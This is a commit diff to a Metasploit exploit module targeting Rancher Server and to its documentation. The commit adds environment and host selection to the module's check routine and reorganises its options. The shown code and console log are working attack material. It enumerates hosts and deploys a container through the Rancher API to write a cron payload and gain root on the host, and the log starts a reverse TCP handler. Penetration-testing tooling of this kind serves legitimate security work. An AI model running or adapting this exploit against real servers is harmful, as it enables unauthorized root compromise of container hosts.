Features for selecting the target

bug/bundler_fix
Martin Pizala 2017-10-01 02:04:10 +02:00
parent f973ff13b6
commit 701d628a1b
No known key found for this signature in database
GPG Key ID: 50F0D0CE74400C95
2 changed files with 58 additions and 21 deletions

View File

@ -10,6 +10,9 @@ host server.
The Docker image should exist on the target system or be a valid image
from hub.docker.com.
Use `check` with verbose mode to get a list of exploitable Rancher
Hosts managed by the target system.
## Rancher setup
Rancher is deployed as a set of Docker containers. Running Rancher is
as simple as launching two containers. One container as the management
@ -83,9 +86,8 @@ This module is designed to gain root access on a Rancher Host.
## Options
- CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated.
- DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit.
- TARGETURI this is the Rancher Server API path. The default environment is `/v1/projects/1a5`.
- TARGETHOST is the Rancher Host ID for the target system. The default host is `1h1`.
- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
- TARGETENV this is the target Rancher Environment. The default environment is `1a5`.
- TARGETHOST is the target Rancher Host. The default host is `1h1`.
By default access control is disabled, but if enabled, you need API
Keys with at least "restrictive" permission in the environment.
@ -94,6 +96,10 @@ See Rancher docs for [api-keys][5] and [membership-roles][6].
- HttpUsername is for your Access Key
- HttpPassword is for your Secret Key
Advanced Options
- TARGETURI this is the Rancher API base path. The default environment is `/v1/projects`.
- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
## Steps to exploit with module
- [ ] Start msfconsole
- [ ] use exploit/linux/http/rancher_server
@ -114,8 +120,8 @@ msf exploit(rancher_server) > set VERBOSE true
VERBOSE => true
msf exploit(rancher_server) > check
[+] TARGETHOST 1h1 found on TARGETURI /v1/projects/1a5
[*] 192.168.91.111:8080 The target appears to be vulnerable.
[+] Rancher Host "rancher" (TARGETHOST 1h1) on Environment "Default" (TARGETENV 1a5) found <-- targeted
[*] 192.168.91.111:8080 The target is vulnerable.
msf exploit(rancher_server) > exploit
[*] Started reverse TCP handler on 192.168.91.1:4444

View File

@ -23,6 +23,9 @@ class MetasploitModule < Msf::Exploit::Remote
The Docker image should exist on the target system or be a valid image
from hub.docker.com.
Use `check` with verbose mode to get a list of exploitable Rancher
Hosts managed by the target system.
),
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
'License' => MSF_LICENSE,
@ -39,22 +42,27 @@ class MetasploitModule < Msf::Exploit::Remote
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'Path to Rancher Environment', '/v1/projects/1a5' ]),
OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]),
OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]),
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
]
)
register_advanced_options(
[
OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]),
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
]
)
end
def del_container(rancher_container_id, container_id)
res = send_request_raw(
'method' => 'DELETE',
'headers' => { 'Accept' => 'application/json' },
'uri' => normalize_uri(target_uri.path, 'containers', rancher_container_id)
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id)
)
return vprint_good('The docker container has been removed.') if res && res.code == 200
@ -99,7 +107,7 @@ class MetasploitModule < Msf::Exploit::Remote
def check
res = send_request_raw(
'method' => 'GET',
'uri' => normalize_uri('/v1/projects'),
'uri' => normalize_uri(target_uri.path),
'headers' => { 'Accept' => 'application/json' }
)
@ -114,30 +122,53 @@ class MetasploitModule < Msf::Exploit::Remote
end
if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version'
# get all rancher environments
projects = JSON.parse(res.body)['data'].map { |data| data['id'] }
# get all hosts from environments
target_found = false
projects.each do |project|
target_selected = false
environments = JSON.parse(res.body)['data']
environments.each do |e|
res = send_request_raw(
'method' => 'GET',
'uri' => normalize_uri('/v1/projects', project, 'hosts'),
'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'),
'headers' => { 'Accept' => 'application/json' }
)
hosts = JSON.parse(res.body)['data'].map { |data| data['id'] }
hosts.each do |host|
hosts = JSON.parse(res.body)['data']
hosts.each do |h|
target_found = true
print_good("TARGETHOST #{host} found on TARGETURI /v1/projects/#{project}")
result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on "
result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found"
# flag results when this host is targeted via options
if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id']
target_selected = true
vprint_good(result + ' %red<-- targeted%clr')
else
vprint_good(result)
end
end
return Exploit::CheckCode::Appears if target_found == true
end
if target_found
return Exploit::CheckCode::Vulnerable if target_selected
print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available")
if datastore['VERBOSE'] == false
print_bad('Try verbose mode to know what happened.')
end
vprint_bad('Choose a TARGETHOST and TARGETENV from the results above')
return Exploit::CheckCode::Appears
else
print_bad('No TARGETHOST available')
return Exploit::CheckCode::Detected
end
end
Exploit::CheckCode::Safe
end
def exploit
unless check == Exploit::CheckCode::Appears
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::Unknown, 'Failed to connect to the target')
end
@ -150,7 +181,7 @@ class MetasploitModule < Msf::Exploit::Remote
# deploy docker container
res = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'containers'),
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'),
'headers' => { 'Accept' => 'application/json', 'Content-Type' => 'application/json' },
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
)
@ -174,7 +205,7 @@ class MetasploitModule < Msf::Exploit::Remote
res = send_request_raw(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'containers', '?name=' + container_id),
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id),
'headers' => { 'Accept' => 'application/json' }
)
next unless res.code == 200 and res.body.include? 'stopped'